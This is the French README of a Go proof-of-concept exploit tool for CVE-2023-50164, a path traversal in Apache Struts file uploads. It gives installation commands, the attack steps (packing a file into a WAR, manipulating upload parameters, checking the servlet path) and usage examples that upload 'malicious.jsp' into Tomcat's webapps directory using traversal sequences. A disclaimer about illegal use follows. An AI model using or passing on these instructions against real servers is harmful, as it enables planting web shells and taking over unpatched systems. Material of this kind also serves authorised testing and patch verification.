
Preuve de concept pour la traversée de chemin dans Apache Struts ("CVE-2023-50164")
Installation
Pour installer cet outil, vous devez avoir Go version 1.20 ou supérieure installé et configuré.
$ go install github.com/dwisiswant0/cve-2023-50164-poc@latest
Alternativement, vous pouvez le compiler vous-même : $ git clone http://github.com/dwisiswant0/cve-2023-50164-poc cve-2023-50164-poc/ $ cd $_ $ go build .
Comment ça fonctionne ?
Cet outil fonctionne en une série d'étapes pour exécuter l'exploit.
Par exemple, si vous souhaitez téléverser le fichier /path/to/file-you-want-to-upload.txt, l'outil procède comme suit :
Il compresse le fichier spécifié dans un fichier WAR, générant un file-you-want-to-upload.war dans le
répertoire temporaire spécifique au système d'exploitation. Ainsi, l'outil suppose que le chemin du contexte de la servlet est
/file-you-want-to-upload/file-you-want-to-upload.txt.
Il vérifie si le chemin du contexte de la servlet existe déjà. Si c'est le cas, l'outil renvoie immédiatement une erreur.
L'outil tente de téléverser le fichier WAR en manipulant les paramètres de téléversement de fichier.
Ensuite, il revérifie la disponibilité (code de statut 200) du chemin du contexte de la servlet, ce qui indique que le téléversement du fichier a réussi.
Utilisation
$ cve-2023-50164-poc -h
PoC for CVE-2023-50164
--
coded by @dwisiswant0
Usage:
cve-2023-50164-poc -u <URL> -f <FILE> -p <PATH>
Options:
-u, --url <URL> Spécifiez l'URL du point de téléversement
-f, --file <FILE> Fournissez le fichier de charge utile à téléverser
-t, --traverse-seq <N> Génère les séquences de traversée N fois (défaut : "0")
-p, --path <PATH> Spécifiez le chemin du répertoire racine accessible
-w, -win, --windows Convertit les caractères slash ("/") en séparateur Windows ("\")
Example:
cve-2023-50164-poc -u http://host/path/to/upload.action -f foo.txt -t 1 -p webapps
cve-2023-50164-poc -u http://host/upload/upload.action -f malicious.jsp -t 2 -p /opt/tomcat/webapps
Remarques
Le binaire jar doit être présent dans le $PATH de votre système.
Le chemin cible doit être un chemin racine accessible, comme /var/lib/jetty/webapps pour Jetty ou
/opt/tomcat/webapps pour Apache Tomcat.
La séquence de traversée par défaut est zéro ("0"). Vous pouvez saisir manuellement des séquences de traversée pour la
valeur de l'option -p/--path, par exemple /../webapps ou /../../opt/tomcat/webapps. Les séquences de traversée
diffèrent pour chaque servlet.
L'option -w/-win/--windows est exclusivement utilisée lorsque la servlet fonctionne sur un serveur Windows.
Avertissement
Utiliser cet outil pour attaquer des cibles sans consentement mutuel est illégal. Les utilisateurs doivent respecter les lois locales, régionales et fédérales. Le développeur (« dwisiswant0 »/« Dwi Siswanto ») n'est PAS responsable des dommages causés par une mauvaise utilisation de l'outil.
Licence
Cet outil est sous licence WTFPL v2 (DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE). Voir COPYING.